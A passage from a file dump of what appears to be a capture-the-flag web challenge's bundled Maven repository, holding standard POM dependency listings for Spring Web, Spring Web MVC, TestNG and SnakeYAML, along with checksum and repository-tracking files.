<artifactId>jackson-databind</artifactId>\n      <version>2.6.3</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>com.fasterxml.jackson.dataformat</groupId>\n      <artifactId>jackson-dataformat-xml</artifactId>\n      <version>2.6.3</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>com.google.code.gson</groupId>\n      <artifactId>gson</artifactId>\n      <version>2.3.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>com.google.protobuf</groupId>\n      <artifactId>protobuf-java</artifactId>\n      <version>2.6.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>com.googlecode.protobuf-java-format</groupId>\n      <artifactId>protobuf-java-format</artifactId>\n      <version>1.2</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>com.rometools</groupId>\n      <artifactId>rome</artifactId>\n      <version>1.5.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>com.squareup.okhttp</groupId>\n      <artifactId>okhttp</artifactId>\n      <version>2.5.0</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>commons-fileupload</groupId>\n      <artifactId>commons-fileupload</artifactId>\n      <version>1.3.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>io.netty</groupId>\n      <artifactId>netty-all</artifactId>\n      <version>4.0.32.Final</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.el</groupId>\n      <artifactId>javax.el-api</artifactId>\n      <version>2.2.5</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.faces</groupId>\n      <artifactId>javax.faces-api</artifactId>\n      <version>2.2</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.mail</groupId>\n      <artifactId>javax.mail-api</artifactId>\n      <version>1.5.4</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.portlet</groupId>\n      <artifactId>portlet-api</artifactId>\n      <version>2.0</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet.jsp</groupId>\n      <artifactId>javax.servlet.jsp-api</artifactId>\n      <version>2.2.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.validation</groupId>\n      <artifactId>validation-api</artifactId>\n      <version>1.0.0.GA</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>log4j</groupId>\n      <artifactId>log4j</artifactId>\n      <version>1.2.17</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.httpcomponents</groupId>\n      <artifactId>httpasyncclient</artifactId>\n      <version>4.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.httpcomponents</groupId>\n      <artifactId>httpclient</artifactId>\n      <version>4.5.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.groovy</groupId>\n      <artifactId>groovy-all</artifactId>\n      <version>2.4.5</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.eclipse.jetty</groupId>\n      <artifactId>jetty-server</artifactId>\n      <version>9.3.5.v20151012</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>javax.servlet-api</artifactId>\n          <groupId>javax.servlet</groupId>\n        </exclusion>\n      </exclusions>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.eclipse.jetty</groupId>\n      <artifactId>jetty-servlet</artifactId>\n      <version>9.3.5.v20151012</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>javax.servlet-api</artifactId>\n          <groupId>javax.servlet</groupId>\n        </exclusion>\n      </exclusions>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-aop</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-beans</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-context</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-core</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-oxm</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet</groupId>\n      <artifactId>javax.servlet-api</artifactId>\n      <version>3.0.1</version>\n      <scope>provided</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-web/4.2.2.RELEASE/spring-web-4.2.2.RELEASE.pom.sha1",
    "content": "8f422a2b51a625010488c7b9bbcf354857f0a276"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-webmvc/4.2.2.RELEASE/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\nspring-webmvc-4.2.2.RELEASE.jar>central=\nspring-webmvc-4.2.2.RELEASE.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-webmvc/4.2.2.RELEASE/spring-webmvc-4.2.2.RELEASE.jar.sha1",
    "content": "4c929309bc6b7f3642c7d500e2ea11edca7270e8"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-webmvc/4.2.2.RELEASE/spring-webmvc-4.2.2.RELEASE.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.springframework</groupId>\n  <artifactId>spring-webmvc</artifactId>\n  <version>4.2.2.RELEASE</version>\n  <name>Spring Web MVC</name>\n  <description>Spring Web MVC</description>\n  <url>https://github.com/spring-projects/spring-framework</url>\n  <organization>\n    <name>Spring IO</name>\n    <url>http://projects.spring.io/spring-framework</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <developers>\n    <developer>\n      <id>jhoeller</id>\n      <name>Juergen Hoeller</name>\n      <email>jhoeller@pivotal.io</email>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:git:git://github.com/spring-projects/spring-framework</connection>\n    <developerConnection>scm:git:git://github.com/spring-projects/spring-framework</developerConnection>\n    <url>https://github.com/spring-projects/spring-framework</url>\n  </scm>\n  <issueManagement>\n    <system>Jira</system>\n    <url>https://jira.springsource.org/browse/SPR</url>\n  </issueManagement>\n  <dependencies>\n    <dependency>\n      <groupId>com.fasterxml.jackson.core</groupId>\n      <artifactId>jackson-databind</artifactId>\n      <version>2.6.3</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>com.fasterxml.jackson.dataformat</groupId>\n      <artifactId>jackson-dataformat-xml</artifactId>\n      <version>2.6.3</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>com.lowagie</groupId>\n      <artifactId>itext</artifactId>\n      <version>2.1.7</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>com.rometools</groupId>\n      <artifactId>rome</artifactId>\n      <version>1.5.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.el</groupId>\n      <artifactId>javax.el-api</artifactId>\n      <version>2.2.5</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet.jsp.jstl</groupId>\n      <artifactId>javax.servlet.jsp.jstl-api</artifactId>\n      <version>1.2.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet.jsp</groupId>\n      <artifactId>javax.servlet.jsp-api</artifactId>\n      <version>2.2.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>net.sf.jasperreports</groupId>\n      <artifactId>jasperreports</artifactId>\n      <version>6.1.1</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>xml-apis</artifactId>\n          <groupId>xml-apis</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>jackson-core</artifactId>\n          <groupId>com.fasterxml.jackson.core</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>jackson-databind</artifactId>\n          <groupId>com.fasterxml.jackson.core</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>olap4j</artifactId>\n          <groupId>org.olap4j</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>spring-context</artifactId>\n          <groupId>org.springframework</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>jackson-annotations</artifactId>\n          <groupId>com.fasterxml.jackson.core</groupId>\n        </exclusion>\n      </exclusions>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>net.sourceforge.jexcelapi</groupId>\n      <artifactId>jxl</artifactId>\n      <version>2.6.12</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.poi</groupId>\n      <artifactId>poi</artifactId>\n      <version>3.13</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.poi</groupId>\n      <artifactId>poi-ooxml</artifactId>\n      <version>3.13</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.tiles</groupId>\n      <artifactId>tiles-api</artifactId>\n      <version>3.0.5</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.tiles</groupId>\n      <artifactId>tiles-api</artifactId>\n      <version>2.2.2</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.tiles</groupId>\n      <artifactId>tiles-core</artifactId>\n      <version>2.2.2</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>jcl-over-slf4j</artifactId>\n          <groupId>org.slf4j</groupId>\n        </exclusion>\n      </exclusions>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.tiles</groupId>\n      <artifactId>tiles-core</artifactId>\n      <version>3.0.5</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>jcl-over-slf4j</artifactId>\n          <groupId>org.slf4j</groupId>\n        </exclusion>\n      </exclusions>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.tiles</groupId>\n      <artifactId>tiles-el</artifactId>\n      <version>3.0.5</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>jcl-over-slf4j</artifactId>\n          <groupId>org.slf4j</groupId>\n        </exclusion>\n      </exclusions>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.tiles</groupId>\n      <artifactId>tiles-el</artifactId>\n      <version>2.2.2</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>jcl-over-slf4j</artifactId>\n          <groupId>org.slf4j</groupId>\n        </exclusion>\n      </exclusions>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.tiles</groupId>\n      <artifactId>tiles-extras</artifactId>\n      <version>2.2.2</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>spring-web</artifactId>\n          <groupId>org.springframework</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>jcl-over-slf4j</artifactId>\n          <groupId>org.slf4j</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>velocity-tools</artifactId>\n          <groupId>org.apache.velocity</groupId>\n        </exclusion>\n      </exclusions>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.tiles</groupId>\n      <artifactId>tiles-extras</artifactId>\n      <version>3.0.5</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>spring-web</artifactId>\n          <groupId>org.springframework</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>jcl-over-slf4j</artifactId>\n          <groupId>org.slf4j</groupId>\n        </exclusion>\n      </exclusions>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.tiles</groupId>\n      <artifactId>tiles-jsp</artifactId>\n      <version>3.0.5</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>jcl-over-slf4j</artifactId>\n          <groupId>org.slf4j</groupId>\n        </exclusion>\n      </exclusions>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.tiles</groupId>\n      <artifactId>tiles-jsp</artifactId>\n      <version>2.2.2</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>jcl-over-slf4j</artifactId>\n          <groupId>org.slf4j</groupId>\n        </exclusion>\n      </exclusions>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.tiles</groupId>\n      <artifactId>tiles-servlet</artifactId>\n      <version>2.2.2</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>jcl-over-slf4j</artifactId>\n          <groupId>org.slf4j</groupId>\n        </exclusion>\n      </exclusions>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.tiles</groupId>\n      <artifactId>tiles-servlet</artifactId>\n      <version>3.0.5</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>jcl-over-slf4j</artifactId>\n          <groupId>org.slf4j</groupId>\n        </exclusion>\n      </exclusions>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.velocity</groupId>\n      <artifactId>velocity</artifactId>\n      <version>1.7</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.groovy</groupId>\n      <artifactId>groovy-all</artifactId>\n      <version>2.4.5</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.freemarker</groupId>\n      <artifactId>freemarker</artifactId>\n      <version>2.3.23</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-beans</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-context</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-context-support</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-core</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-expression</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-oxm</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-web</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.webjars</groupId>\n      <artifactId>webjars-locator</artifactId>\n      <version>0.28</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>velocity-tools</groupId>\n      <artifactId>velocity-tools-view</artifactId>\n      <version>1.4</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet</groupId>\n      <artifactId>javax.servlet-api</artifactId>\n      <version>3.0.1</version>\n      <scope>provided</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-webmvc/4.2.2.RELEASE/spring-webmvc-4.2.2.RELEASE.pom.sha1",
    "content": "dec0e34fb160f35d1af794824096c716d68de436"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/testng/testng/6.8.7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\ntestng-6.8.7.jar>central=\ntestng-6.8.7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/testng/testng/6.8.7/testng-6.8.7.jar.sha1",
    "content": "3eaa6cbb13e327f3f1154d336dff11d7e83a727e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/testng/testng/6.8.7/testng-6.8.7.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <!-- Refer to the file ./build-with-maven for instruction on how to use this pom.xml -->\n\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.testng</groupId>\n  <artifactId>testng</artifactId>\n  <packaging>jar</packaging>\n  <name>TestNG</name>\n  <version>6.8.7</version>\n  <description>TestNG is a testing framework.</description>\n  <url>http://testng.org</url>\n    \n  <licenses>\n    <license>\n      <name>Apache License, Version 2.0</name>\n      <url>http://apache.org/licenses/LICENSE-2.0</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <scm>\n    <connection>scm:git:git@github.com:cbeust/testng.git</connection>\n    <developerConnection>scm:git:git@github.com:cbeust/testng.git</developerConnection>\n    <url>git@github.com:cbeust/testng.git</url>\n  </scm>\n    \n  <developers>\n    <developer>\n      <name>Cedric Beust</name>\n    </developer>\n  </developers>\n\n  <parent>\n    <groupId>org.sonatype.oss</groupId>\n    <artifactId>oss-parent</artifactId>\n    <version>3</version>\n  </parent>\n\n  <profiles>\n    <profile>\n      <!-- When activated, download dependencies from the snapshot repo -->\n      <id>snapshot</id>\n\n      <repositories>\n        <repository>\n          <id>snapshot-repository</id>\n          <url>https://oss.sonatype.org/content/repositories/snapshots/</url>\n        </repository>\n      </repositories>\n\n      <dependencies>\n        <dependency>\n            <groupId>org.apache.ant</groupId>\n            <artifactId>ant</artifactId>\n            <version>1.7.0</version>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.11</version>\n        </dependency>\n        <dependency>\n            <groupId>org.beanshell</groupId>\n            <artifactId>bsh</artifactId>\n            <version>2.0b4</version>\n<!--\n            <scope>provided</scope>\n-->\n        </dependency>\n        <dependency>\n          <groupId>com.google.inject</groupId>\n           <artifactId>guice</artifactId>\n           <version>2.0</version>\n           <scope>provided</scope>\n        </dependency>\n        <dependency>\n          <groupId>com.beust</groupId>\n          <artifactId>jcommander</artifactId>\n          <version>1.5</version>\n        </dependency>\n      </dependencies>\n      \n    </profile>\n  </profiles>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.ant</groupId>\n      <artifactId>ant</artifactId>\n      <version>1.7.0</version>\n      <optional>true</optional>\n    </dependency>\n\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.10</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.beanshell</groupId>\n      <artifactId>bsh</artifactId>\n      <version>2.0b4</version>\n<!--\n      <scope>provided</scope>\n-->\n    </dependency>\n\n    <dependency>\n      <groupId>com.google.inject</groupId>\n      <artifactId>guice</artifactId>\n      <version>2.0</version>\n      <scope>provided</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>com.beust</groupId>\n      <artifactId>jcommander</artifactId>\n      <version>1.27</version>\n    </dependency>\n\n\t  <dependency>\n\t    <groupId>org.yaml</groupId>\n\t    <artifactId>snakeyaml</artifactId>\n\t    <version>1.12</version>\n\t  </dependency>\n\n  </dependencies>    \n    \n  <build>\n    <plugins>\n\n      <!-- Bundle sources -->\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-source-plugin</artifactId>\n        <version>2.1.1</version>\n        <executions>\n          <execution>\n            <id>attach-sources</id>\n              <goals>\n                <goal>jar</goal>\n              </goals>\n            </execution>\n        </executions>\n      </plugin>\n\n      <!-- Compilation -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <version>3.1</version>\n        <configuration>\n          <source>1.5</source>\n        </configuration>\n      </plugin>\n\n      <!-- Resource handling -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-resources-plugin</artifactId>\n        <version>2.4.1</version>\n        <configuration>\n          <encoding>UTF-8</encoding>\n        </configuration>\n      </plugin>\n\n      <!-- OSGi manifest creation -->\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <version>2.1.0</version>\n        <executions>\n          <execution>\n            <id>bundle-manifest</id>\n            <phase>process-classes</phase>\n            <goals>\n              <goal>manifest</goal>\n            </goals>\n            <configuration>\n              <instructions>\n                <_versionpolicy>$(@)</_versionpolicy>\n                <Import-Package>\n                  bsh.*;version=\"[2.0.0,3.0.0)\";resolution:=optional,\n                  com.beust.jcommander.*;version=\"[1.7.0,3.0.0)\";resolution:=optional,\n                  com.google.inject.*;version=\"[1.2,1.3)\";resolution:=optional,\n                  junit.framework;version=\"[3.8.1, 5.0.0)\";resolution:=optional,\n                  org.apache.tools.ant.*;version=\"[1.7.0, 2.0.0)\";resolution:=optional,\n                  org.yaml.*;version=\"[1.6,2.0)\";resolution:=optional,\n                  !com.sun.*,\n                  *\n                </Import-Package>\n              </instructions>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n\n      <!-- Add OSGi manifest in JAR -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <version>2.3.1</version>\n        <configuration>\n          <archive>\n            <manifestFile>${project.build.outputDirectory}/META-INF/MANIFEST.MF</manifestFile>\n          </archive>\n        </configuration>\n      </plugin>\n\n      <!-- Generating Javadoc -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.7</version>\n        <configuration>\n          <excludePackageNames>*.internal</excludePackageNames>\n        </configuration>\n      </plugin>\n\n      <!-- Tests (skipping) -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <version>2.14.1</version>\n        <configuration>\n          <skipTests>true</skipTests>\n        </configuration>\n      </plugin>\n\n      <!-- Signing with gpg -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-gpg-plugin</artifactId>\n        <version>1.4</version>\n        <executions>\n          <execution>\n            <id>sign-artifacts</id>\n            <phase>verify</phase>\n            <goals>\n              <goal>sign</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n    </plugins>\n\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/testng/testng/6.8.7/testng-6.8.7.pom.sha1",
    "content": "0191b4820d227d57eb50f75d9a68dd64b61f8bb7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/yaml/snakeyaml/1.12/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\nsnakeyaml-1.12.jar>central=\nsnakeyaml-1.12.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/yaml/snakeyaml/1.12/snakeyaml-1.12.jar.sha1",
    "content": "ebe66a6b88caab31d7a19571ad23656377523545"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/yaml/snakeyaml/1.12/snakeyaml-1.12.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>org.yaml</groupId>\n    <artifactId>snakeyaml</artifactId>\n    <version>1.12</version>\n    <packaging>bundle</packaging>\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    </properties>\n    <name>SnakeYAML</name>\n    <description>YAML 1.1 parser and emitter for Java</description>\n    <inceptionYear>2008</inceptionYear>\n    <url>http://www.snakeyaml.org</url>\n    <issueManagement>\n        <system>Google Code</system>\n        <url>http://code.google.com/p/snakeyaml/issues/list</url>\n    </issueManagement>\n    <!--ciManagement>\n        <system>jenkins</system>\n        <url>https://snakeyaml.ci.cloudbees.com/job/SnakeYAML/</url>\n    </ciManagement-->\n    <mailingLists>\n        <mailingList>\n            <name>SnakeYAML developers and users List</name>\n            <post>snakeyaml-core@googlegroups.com</post>\n        </mailingList>\n    </mailingLists>\n    <scm>\n        <connection>scm:hg:http://snakeyaml.googlecode.com/hg</connection>\n        <developerConnection>scm:hg:https://snakeyaml.googlecode.com/hg</developerConnection>\n        <url>http://code.google.com/p/snakeyaml/source/browse/</url>\n    </scm>\n    <licenses>\n        <license>\n            <name>Apache License Version 2.0</name>\n            <url>LICENSE.txt</url>\n        </license>\n    </licenses>\n    <developers>\n        <developer>\n            <id>py4fun</id>\n            <name>Andrey Somov</name>\n            <email>py4fun@gmail.com</email>\n        </developer>\n        <developer>\n            <id>maslovalex</id>\n            <name>Alexander Maslov</name>\n            <email>alexander.maslov@gmail.com</email>\n        </developer>\n    </developers>\n    <dependencies>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.7</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring</artifactId>\n            <version>2.5.6</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.velocity</groupId>\n            <artifactId>velocity</artifactId>\n            <version>1.6.2</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>joda-time</groupId>\n            <artifactId>joda-time</artifactId>\n            <version>1.6</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n    <distributionManagement>\n        <repository>\n            <id>sonatype-nexus-staging</id>\n            <name>Nexus Release Repository</name>\n            <url>http://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n        </repository>\n        <snapshotRepository>\n            <id>sonatype-nexus-snapshots</id>\n            <name>Sonatype Nexus Snapshots</name>\n            <url>http://oss.sonatype.org/content/repositories/snapshots/</url>\n            <uniqueVersion>false</uniqueVersion>\n        </snapshotRepository>\n    </distributionManagement>\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>2.3.2</version>\n                <configuration>\n                    <source>1.5</source>\n                    <target>1.5</target>\n                    <encoding>${project.build.sourceEncoding}</encoding>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.6</version>\n                <configuration>\n                    <argLine>-Xmx512m</argLine>\n                    <includes>\n                        <include>**/*Test.java</include>\n                    </includes>\n                    <excludes>\n                        <exclude>**/StressTest.java</exclude>\n                        <exclude>**/ParallelTest.java</exclude>\n                    </excludes>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-eclipse-plugin</artifactId>\n                <version>2.8</version>\n                <configuration>\n                    <buildOutputDirectory>bin</buildOutputDirectory>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>cobertura-maven-plugin</artifactId>\n                <version>2.5.1</version>\n                <configuration>\n                    <check>\n                        <totalBranchRate>80</totalBranchRate>\n                        <totalLineRate>95</totalLineRate>\n                    </check>\n                    <formats>\n                        <format>html</format>\n                        <format>xml</format>\n                    </formats>\n                    <instrumentation>\n                        <excludes>\n                            